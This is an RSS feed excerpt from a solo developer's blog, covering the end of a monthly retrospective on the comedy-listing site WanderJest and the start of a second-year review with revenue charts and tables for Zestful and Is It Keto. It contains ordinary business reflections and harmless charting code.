&lt;p>Zestful&amp;rsquo;s income is bursty, and anything in the $50-100 range is a good month. There was an eight-fold increase in traffic, but that&amp;rsquo;s a mostly meaningless side effect of my blog posts reaching the front page of Hacker News with mentions of Zestful.&lt;/p>
&lt;h2 id="still-searching-for-my-first-dollar">Still searching for my first dollar&lt;/h2>
&lt;p>With previous businesses, I&amp;rsquo;ve focused too much on growth and failed to consider how the site can make money. I have &lt;a href="https://mtlynch.io/retrospectives/2020/01/#the-push-i-needed-towards-comedy">several ideas&lt;/a> for monetizing WanderJest, but the one that I could validate earliest is affiliate partnerships.&lt;/p>
&lt;p>My first arrangement was with an experienced comedian in Connecticut. He was posting on Facebook inviting students to sign up for his comedy classes. I offered to create an ad for his course on WanderJest in exchange for 10% of the tuition for students I referred. His class only had three open slots, and tuition was $200, so it wouldn&amp;rsquo;t be a sustainable source of income, but I just wanted to see if I could make &lt;em>any&lt;/em> money with affiliate deals.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/02/wanderjest-sponsored.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/02/wanderjest-sponsored_hu_6abcdea83a388c4e.jpg 300w, https://mtlynch.io/retrospectives/2020/02/wanderjest-sponsored_hu_af82e6c929afb7b1.jpg 600w, https://mtlynch.io/retrospectives/2020/02/wanderjest-sponsored_hu_ad9117569d3a8bc2.jpg 800w, https://mtlynch.io/retrospectives/2020/02/wanderjest-sponsored_hu_e545ffd9b5f8c55d.jpg 1200w, https://mtlynch.io/retrospectives/2020/02/wanderjest-sponsored.jpg 1546w'
 src="https://mtlynch.io/retrospectives/2020/02/wanderjest-sponsored.jpg" alt="Screenshot of WanderJest&amp;#39;s first affiliate ad" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>WanderJest&amp;rsquo;s first affiliate advertisement&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Unfortunately, this attempt failed. The ad was live for a few weeks, but no WanderJest users enrolled by the time classes began. It was a longshot, as my audience is still small, and the classes were in Hartford, CT, roughly an hour&amp;rsquo;s drive from most of my users in Western Mass.&lt;/p>
&lt;p>I now have affiliate partnerships with one theater and a one-time show. Their show listings appear on WanderJest with distinctive flair and discount labels, but I plan to do a little more in February to draw users&amp;rsquo; attention to those shows.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/02/wanderjest-flaired-listing.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/02/wanderjest-flaired-listing_hu_68b9cebc7d7da33d.jpg 300w, https://mtlynch.io/retrospectives/2020/02/wanderjest-flaired-listing_hu_ec8c35f7f02fce22.jpg 600w, https://mtlynch.io/retrospectives/2020/02/wanderjest-flaired-listing_hu_41f6e922f2529af6.jpg 800w, https://mtlynch.io/retrospectives/2020/02/wanderjest-flaired-listing.jpg 1189w'
 src="https://mtlynch.io/retrospectives/2020/02/wanderjest-flaired-listing.jpg" alt="Screenshot of partner show listings on WanderJest" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Shows that partner with WanderJest get special flair for their show listings.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m hoping show tickets will be easier to sell than comedy classes. The cost to the consumer is lower, my users receive a discount, and they&amp;rsquo;re geographically close to the towns where I advertise WanderJest.&lt;/p>
&lt;h2 id="attracting-comedians-to-wanderjest">Attracting comedians to WanderJest&lt;/h2>
&lt;p>I&amp;rsquo;ve been attending two comedy shows per week to meet new comedians and ask them how WanderJest can be useful to them. In person, performers seem enthusiastic about WanderJest, but when I follow up later asking for their photo and bio to list on the site, only about half respond. A small minority are vocal enough champions that they promote the site without me even asking:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 







&lt;div class="img" style="max-width: 516px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/02/todd-therrien-share.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 516px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/02/todd-therrien-share_hu_e52e18815f9b77d4.jpg 300w, https://mtlynch.io/retrospectives/2020/02/todd-therrien-share.jpg 516w'
 src="https://mtlynch.io/retrospectives/2020/02/todd-therrien-share.jpg" alt="Screenshot of Todd Therrien sharing WanderJest on Facebook" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 







&lt;div class="img" style="max-width: 516px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/02/matt-woodland-share.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 516px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/02/matt-woodland-share_hu_2059d41fe6e37c77.jpg 300w, https://mtlynch.io/retrospectives/2020/02/matt-woodland-share.jpg 516w'
 src="https://mtlynch.io/retrospectives/2020/02/matt-woodland-share.jpg" alt="Screenshot of Matt Woodland sharing WanderJest on Facebook" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Comedians promoting WanderJest on Facebook&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>That said, WanderJest is still far from being part of any performer&amp;rsquo;s or show organizer&amp;rsquo;s workflow. Even the most passionate WanderJest supporters still use Facebook events as their primary channel for promotion. I don&amp;rsquo;t blame them, as event creation on WanderJest is still clunky — they have to fill out a &lt;a href="https://typeform.com/">Typeform&lt;/a>, and then I add their show manually. I want to add enough features to the site that using WanderJest makes show organizers&amp;rsquo; lives easier than promoting a show without it.&lt;/p>
&lt;p>Some features I want to complete by the end of February:&lt;/p>
&lt;ul>
&lt;li>Make event listings self-serve so people can submit and manage their own shows on WanderJest.&lt;/li>
&lt;li>Make performer profiles self-serve so that comedians can manage their own pages.&lt;/li>
&lt;/ul>
&lt;p>Once those are complete, there are a few other features I&amp;rsquo;m considering:&lt;/p>
&lt;ul>
&lt;li>Add social media tools for automating and scheduling posts for shows.&lt;/li>
&lt;li>Add analytics to let people see how many people are viewing their show listings and where they&amp;rsquo;re coming from.
&lt;ul>
&lt;li>I did &lt;a href="https://twitter.com/deliberatecoder/status/1219289213268561920">a test implementation&lt;/a> on What Got Done, and it wasn&amp;rsquo;t too difficult.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Offer poster-making as a service, initially at below-market rates.
&lt;ul>
&lt;li>Comedians are currently paying graphic designers $30-100 per poster, and I&amp;rsquo;m wondering whether I can offer a do-it-yourself tool or &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">streamline the hiring and revision process&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="attracting-audiences">Attracting audiences&lt;/h2>
&lt;p>Ultimately, the thing that performers, venues, and show organizers care about above all else is &lt;strong>audiences&lt;/strong>.&lt;/p>
&lt;p>Fancy features and promotions mean nothing unless I can demonstrate to show organizers that WanderJest increases their ticket sales. And to do that, I need to get WanderJest in front of consumers. Not only that, I need to make it &amp;ldquo;sticky&amp;rdquo; so that users think of WanderJest when they&amp;rsquo;re wondering what to do for entertainment.&lt;/p>
&lt;p>I&amp;rsquo;ve posted on my town&amp;rsquo;s local Facebook group and two local subreddits: &lt;a href="https://redd.it/evoo77">/r/northampton&lt;/a> and &lt;a href="https://redd.it/ey90il">/r/springfield&lt;/a>. The response to every post has been uniformly positive, with the /r/springfield subreddit even adding WanderJest to their permanent sidebar.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 







&lt;div class="img" style="max-width: 502px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/02/fb-wanderjest-share.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 502px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/02/fb-wanderjest-share_hu_7534bceed828b012.jpg 300w, https://mtlynch.io/retrospectives/2020/02/fb-wanderjest-share.jpg 502w'
 src="https://mtlynch.io/retrospectives/2020/02/fb-wanderjest-share.jpg" alt="Screenshot of WanderJest share on Facebook" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 961px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/02/reddit-wanderjest-share.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 961px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/02/reddit-wanderjest-share_hu_be13243f1d614e05.jpg 300w, https://mtlynch.io/retrospectives/2020/02/reddit-wanderjest-share_hu_3da8333c270f41e1.jpg 600w, https://mtlynch.io/retrospectives/2020/02/reddit-wanderjest-share_hu_cee85972dc14addc.jpg 800w, https://mtlynch.io/retrospectives/2020/02/reddit-wanderjest-share.jpg 959w'
 src="https://mtlynch.io/retrospectives/2020/02/reddit-wanderjest-share.jpg" alt="Screenshot of WanderJest share on Reddit" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Response to WanderJest social media posts&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>This is one of my value propositions to show organizers. Many of these social networks have rules against promoting individual events, but people view WanderJest as a helpful resource rather than an attempt to promote a particular show.&lt;/p>
&lt;p>During February, I plan to:&lt;/p>
&lt;ul>
&lt;li>Post WanderJest to other local Facebook groups and subreddits.&lt;/li>
&lt;li>Contact local newspapers and blogs to see if they&amp;rsquo;re interested in partnering with or linking to WanderJest.&lt;/li>
&lt;/ul>
&lt;p>A few other ideas I&amp;rsquo;ve had, but I&amp;rsquo;m not sure if I&amp;rsquo;ll have the bandwidth:&lt;/p>
&lt;ul>
&lt;li>Partner with several show organizers to create a pamphlet called, &amp;ldquo;WanderJest&amp;rsquo;s Guide to Western Mass Comedy,&amp;rdquo; which highlights all the shows happening in the upcoming month. I&amp;rsquo;d then distribute the pamphlets to local businesses.&lt;/li>
&lt;li>Have a contest where fans enter by &amp;ldquo;checking in&amp;rdquo; to comedy shows on their phone. Each check-in earns one raffle ticket, and then the raffle prize is something like a $100 Visa gift card.&lt;/li>
&lt;/ul>
&lt;h2 id="ill-never-launch-with-a-database-again">I&amp;rsquo;ll never launch with a database again&lt;/h2>
&lt;p>One of the most important lessons I&amp;rsquo;ve learned in launching new businesses is that quick hacks and clunky solutions are fine at the early stages. I love maintainable systems more than almost anyone, but there&amp;rsquo;s no sense investing in maintainability when a project&amp;rsquo;s future is so uncertain.&lt;/p>
&lt;p>Instead, with each project, I look for new ways to cut corners and launch faster. With WanderJest, I skipped the database — I just hardcoded all of my data right into the source code.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/02/wanderjest-data-in-code.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/02/wanderjest-data-in-code_hu_2b69b22e7bd8da2d.jpg 300w, https://mtlynch.io/retrospectives/2020/02/wanderjest-data-in-code_hu_7067195d2e57e7e0.jpg 600w, https://mtlynch.io/retrospectives/2020/02/wanderjest-data-in-code_hu_b37ae31a839402be.jpg 800w, https://mtlynch.io/retrospectives/2020/02/wanderjest-data-in-code.jpg 1047w'
 src="https://mtlynch.io/retrospectives/2020/02/wanderjest-data-in-code.jpg" alt="Screenshot of WanderJest source code with hardcoded data" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Hardcoding data into source code is ugly but effective for launching your first version quickly.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I told myself that I&amp;rsquo;d migrate to a database when hardcoded data got too annoying, but I found that working with hardcoded data was, in fact, far easier. It meant that all the data in my dev environment stayed perfectly in sync with my prod environment. There were never issues where I only noticed after deploying that something didn&amp;rsquo;t work (e.g., &amp;ldquo;Whoops, this looks horrendous when a title is longer than 80 characters!&amp;rdquo;). And because my code is under source control, my data is too, so I could jump back to any version of my site and know that I&amp;rsquo;m seeing both the code and data as it existed at that point in time.&lt;/p>
&lt;p>Probably the greatest benefit was that it allowed me to iterate quickly on my data schema. Early in a project&amp;rsquo;s life, I don&amp;rsquo;t know enough about the problem to design the schema perfectly, so I often make mistakes that require tedious, expensive fixes later. With a real database, schema changes mean hacky one-time migration code or tedious manual adjustments.&lt;/p>
&lt;p>With data baked into the code, changing the schema was a breeze because everything&amp;rsquo;s just text. My backend is in Go, so if I ever screwed up and put the wrong kind of data into a field, the compiler just yelled at me until I fixed it.&lt;/p>
&lt;p>This obviously doesn&amp;rsquo;t scale, but it&amp;rsquo;s fine up to ~10k records. Similarly, if an app relies on user-generated data, this solution doesn&amp;rsquo;t work unless you give source access to all of your users and teach them to make pull requests. And indeed, after a few weeks, I had to add a database to WanderJest so that users can submit show recommendations. But for all of my future projects, I look forward to applying this launch hack whenever possible.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Commissioned a logo for WanderJest.&lt;/li>
&lt;li>Included ~80% of the local comedy shows on WanderJest, but probably only ~20% of the active performers.&lt;/li>
&lt;li>Added support for user-generated show recommendations on WanderJest (basically, user reviews).&lt;/li>
&lt;li>Published my blog post &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">&amp;ldquo;My Second Year as a Solo Developer,&amp;rdquo;&lt;/a> which &lt;a href="https://hnrankings.info/22201337">reached #1 on Hacker News&lt;/a>.
&lt;ul>
&lt;li>I&amp;rsquo;ve had unusually good luck with Hacker News recently, reaching the front page three times in six weeks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What Got Done got a huge surge in new users because of the Hacker News attention.&lt;/li>
&lt;li>I &lt;a href="https://twitter.com/deliberatecoder/status/1213965436095803392">migrated this blog from Jekyll to Hugo&lt;/a>, making it 10x easier for me to use.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Delay integrating a database into your app as long as possible.
&lt;ul>
&lt;li>For instances of ~10k or fewer entries, hardcoding data into source is fine.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Programatically querying Google Analytics data is &lt;a href="https://twitter.com/deliberatecoder/status/1219289213268561920">easier than I expected&lt;/a>.&lt;/li>
&lt;li>In general, my businesses have a revenue problem, not a cost problem:&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>I would suggest devoting approximately zero cycles to cost control. You don&amp;rsquo;t have a cost problem and no amount of cost control will bend the curve of your current businesses to sustainability. You have a revenue problem. Your desired state in the medium term will make it economically irrational for you to think for more than a minute about a $50 a month SaaS expense; marketing and sales gets you to that desired state, not cost control.&lt;br>&lt;br> -&lt;a href="https://www.kalzumeus.com/">Patrick McKenzie&lt;/a> (patio11) &lt;a href="https://news.ycombinator.com/item?id=22202301">via Hacker News&lt;/a>&lt;/p>&lt;/blockquote>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>WanderJest
&lt;ul>
&lt;li>Make $1 in revenue (for real this time).&lt;/li>
&lt;li>Get 20 new user signups.&lt;/li>
&lt;li>Reach 2,000 unique visitors.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>My Second Year as a Solo Developer</title><link>https://mtlynch.io/bootstrapped-founder-year-2/</link><pubDate>Fri, 31 Jan 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/bootstrapped-founder-year-2/</guid><description>&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-2/cover_hu_ca4eae5d10e3175d.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-2/cover_hu_4c154eb3805ea06e.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-2/cover_hu_a789e21b1dc3525f.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-2/cover_hu_41785929927b3424.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-2/cover.jpg 1200w'
 src="https://mtlynch.io/bootstrapped-founder-year-2/cover.jpg" alt="My second year as a solo developer (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Two years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my developer job at Google&lt;/a> to build my own software business. A year later, I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">posted an update&lt;/a> about my finances, happiness, and lessons learned. Today marks the end of my second year, so it&amp;rsquo;s time for another update.&lt;/p>
&lt;h2 id="how-i-made-and-spent-money">How I made and spent money&lt;/h2>
&lt;p>&lt;canvas id="myChart" style="margin-bottom: 50px;">&lt;/canvas>&lt;/p></description><content:encoded>



















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-2/cover_hu_ca4eae5d10e3175d.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-2/cover_hu_4c154eb3805ea06e.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-2/cover_hu_a789e21b1dc3525f.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-2/cover_hu_41785929927b3424.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-2/cover.jpg 1200w'
 src="https://mtlynch.io/bootstrapped-founder-year-2/cover.jpg" alt="My second year as a solo developer (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Two years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my developer job at Google&lt;/a> to build my own software business. A year later, I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">posted an update&lt;/a> about my finances, happiness, and lessons learned. Today marks the end of my second year, so it&amp;rsquo;s time for another update.&lt;/p>
&lt;h2 id="how-i-made-and-spent-money">How I made and spent money&lt;/h2>
&lt;p>&lt;canvas id="myChart" style="margin-bottom: 50px;">&lt;/canvas>&lt;/p>
&lt;script src="https://mtlynch.io/third-party/chart.js/2.9.4/Chart.min.js">&lt;/script>
&lt;script>
var ctx = document.getElementById('myChart').getContext('2d');
ctx.height = 400;
var myChart = new Chart(ctx, {
 type: 'line',
 data: {
 labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
 datasets: [{
 label: 'Revenue',
 data: [
 20.08,
 33.15,
 68.83,
 81.11,
 193.58,
 94.12,
 278.12,
 999.37,
 513.47,
 460.64,
 167.84,
 4343.83,
 ],
 backgroundColor: 'rgb(57, 57, 255)',
 borderColor: 'rgb(131, 131, 235)',
 fill: false,
 }, {
 label: 'Expenses',
 data: [
 -926.05,
 -1967.04,
 -1710.88,
 -702.41,
 -502.31,
 -473.16,
 -134.82,
 -227.16,
 -697.33,
 -384.58,
 -1384.61,
 -546.26,
 ],
 backgroundColor: 'rgb(255, 0, 0)',
 borderColor: 'rgb(255, 130, 130)',
 fill: false,
 }, {
 label: 'Net Profit',
 data: [
 -905.97,
 -1933.89,
 -1642.05,
 -621.30,
 -308.73,
 -379.04,
 143.30,
 772.21,
 -183.86,
 76.06,
 -1216.77,
 3797.57,
 ],
 backgroundColor: 'rgb(0, 255, 0)',
 borderColor: 'rgb(172, 255, 172)',
 fill: false,
 }]
 },
 options: {
 tooltips: {
 callbacks: {
 label: function(tooltipItems) {
 let original = parseFloat(tooltipItems.yLabel).toLocaleString();
 if (original[0] === "-") {
 return " -$" + original.substring(1);
 }
 return " $" + original;
 },
 },
 },
 scales: {
 yAxes: [{
 ticks: {
 callback: function(value) {
 return '$' + value;
 }
 }
 }]
 }
 },
});
&lt;/script>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2018&lt;/th>
 &lt;th>2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Revenue&lt;/td>
 &lt;td>$2,262&lt;/td>
 &lt;td>$7,254&lt;/td>
 &lt;td>&lt;font color="green">+$4,992 (+220%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Expenses&lt;/td>
 &lt;td>$23,133&lt;/td>
 &lt;td>$9,657&lt;/td>
 &lt;td>&lt;font color="green">-$13,477 (-58%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$20,871&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$2,402&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$18,469 (+88%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>My second year was a huge improvement financially. I increased profits by $18.5k!&lt;/p>
&lt;p>Overall, I still lost money, but try not to get too hung up on that. I tripled revenue to $7.2k and cut expenses by more than half.&lt;/p>
&lt;h2 id="how-can-you-afford-to-keep-losing-money">How can you afford to keep losing money?&lt;/h2>
&lt;p>My long-term unprofitability often perplexes people. They assume I fund my money-losing endeavors with freelance work, but the truth is that 100% of my working hours go into my non-lucrative businesses. This is possible due to three main factors:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Low expenses&lt;/strong>: I have no children and &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#so-i-bought-a-house">live in an inexpensive area&lt;/a> where my costs are ~$2k/month.&lt;/li>
&lt;li>&lt;strong>High savings&lt;/strong>: It&amp;rsquo;s hard to work for big software companies for 11 years without building a decent nest egg.&lt;/li>
&lt;li>&lt;strong>Lucky investments&lt;/strong>: Throughout my career, most of my money has been in the S&amp;amp;P 500 during periods of especially strong market runs. My small bets on &lt;a href="https://mtlynch.io/tags/sia/">cryptocurrency&lt;/a> also paid off well.&lt;/li>
&lt;/ul>
&lt;h2 id="project-by-project">Project by project&lt;/h2>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/zestful-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-2/zestful-screenshot_hu_feaba3354e7ace62.png 300w, https://mtlynch.io/bootstrapped-founder-year-2/zestful-screenshot_hu_ae28cd52be2f2134.png 600w, https://mtlynch.io/bootstrapped-founder-year-2/zestful-screenshot_hu_2bb703ba3eb40331.png 800w, https://mtlynch.io/bootstrapped-founder-year-2/zestful-screenshot.png 1028w'
 src="https://mtlynch.io/bootstrapped-founder-year-2/zestful-screenshot.png" alt="Screenshot of Zestful website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Zestful is a SaaS for parsing recipe ingredients.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Zestful launched in mid-2018 as my first attempt at a software-as-a-service (SaaS) business. It allows food apps to recognize the structure of recipe ingredients. Given an ingredient like, &amp;ldquo;2 1/2 tablespoons finely chopped parsley,&amp;rdquo; Zestful infers that &lt;code>2.5&lt;/code> is the quantity, &lt;code>tablespoons&lt;/code> is the unit of measure, &lt;code>parsley&lt;/code> is the product, and &lt;code>finely chopped&lt;/code> is a preparation step.&lt;/p>
&lt;p>After earning &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#zestful">a big fat zero&lt;/a> last year, Zestful finally realized significant revenue throughout 2019. &lt;a href="https://mtlynch.io/retrospectives/2020/01/#zestful">A single enterprise sale in December&lt;/a> accounted for 79% of its annual revenue. That sale also represented 53% of total revenue across all my businesses.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>2018&lt;/th>
 &lt;th>2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Sales&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>$5,022&lt;/td>
 &lt;td>&lt;font color="green">+$5,022 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting&lt;/td>
 &lt;td>-$164&lt;/td>
 &lt;td>-$80&lt;/td>
 &lt;td>&lt;font color="green">-$84 (-51%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domains&lt;/td>
 &lt;td>$-50&lt;/td>
 &lt;td>-$12&lt;/td>
 &lt;td>&lt;font color="green">-$38 (-76%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Logo Design&lt;/td>
 &lt;td>$-200&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>&lt;font color="green">-$200 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Development&lt;/td>
 &lt;td>-$7,440&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>&lt;font color="green">-$7,440 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$7,854&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$4,930‬&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="green">+$12,784 (+162%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img align-right" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/zestful-seo.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-2/zestful-seo_hu_55cbbdcb0bb82522.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-2/zestful-seo_hu_ee93a39d0a94f5a6.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-2/zestful-seo_hu_5288bdeac8a3332.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-2/zestful-seo.jpg 1094w'
 src="https://mtlynch.io/bootstrapped-founder-year-2/zestful-seo.jpg" alt="Screenshot of Zestful&amp;#39;s appearances in Google search results" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My efforts to keep Zestful relevant in search results&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Zestful is in a strange position because companies who parse ingredients &lt;a href="https://mtlynch.io/shipping-too-late/#the-harsh-reality">never want to switch to Zestful&lt;/a>. The cost of migrating to a new API outweighs potential price and performance improvements. Instead, all of Zestful&amp;rsquo;s customers are companies building a brand new product.&lt;/p>
&lt;p>How do you sell to companies if they don&amp;rsquo;t even exist yet? My strategy has been to invest in search engine optimization so that Zestful ranks highly for queries like &amp;ldquo;ingredient parsing.&amp;rdquo;&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/isitketo-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-2/isitketo-screenshot_hu_1de5c6c033b864e.png 300w, https://mtlynch.io/bootstrapped-founder-year-2/isitketo-screenshot_hu_2538e91e4038ef49.png 600w, https://mtlynch.io/bootstrapped-founder-year-2/isitketo-screenshot_hu_55f36e86378fc965.png 800w, https://mtlynch.io/bootstrapped-founder-year-2/isitketo-screenshot.png 1043w'
 src="https://mtlynch.io/bootstrapped-founder-year-2/isitketo-screenshot.png" alt="Screenshot of Is It Keto website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto is a reference site for followers of the keto diet.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Is It Keto gives readers clear, straightforward answers about which foods are compatible with &lt;a href="https://en.wikipedia.org/wiki/Ketogenic_diet">the keto diet&lt;/a>. It generates revenue through Google AdSense display ads and receives commission for every Amazon purchase through the site.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>2018&lt;/th>
 &lt;th>2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pageviews&lt;/td>
 &lt;td>16,208&lt;/td>
 &lt;td>521,913&lt;/td>
 &lt;td>&lt;font color="green">+505,705 (+3,120%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Food corpus size&lt;/td>
 &lt;td>53&lt;/td>
 &lt;td>202&lt;/td>
 &lt;td>&lt;font color="green">+149 (+281%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate revenue&lt;/td>
 &lt;td>$1&lt;/td>
 &lt;td>$1,315&lt;/td>
 &lt;td>&lt;font color="green">+$1,314 (+131,400%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Google AdSense revenue&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$940&lt;/td>
 &lt;td>&lt;font color="green">+$940 (+inf%)&lt;/font>&lt;/td>
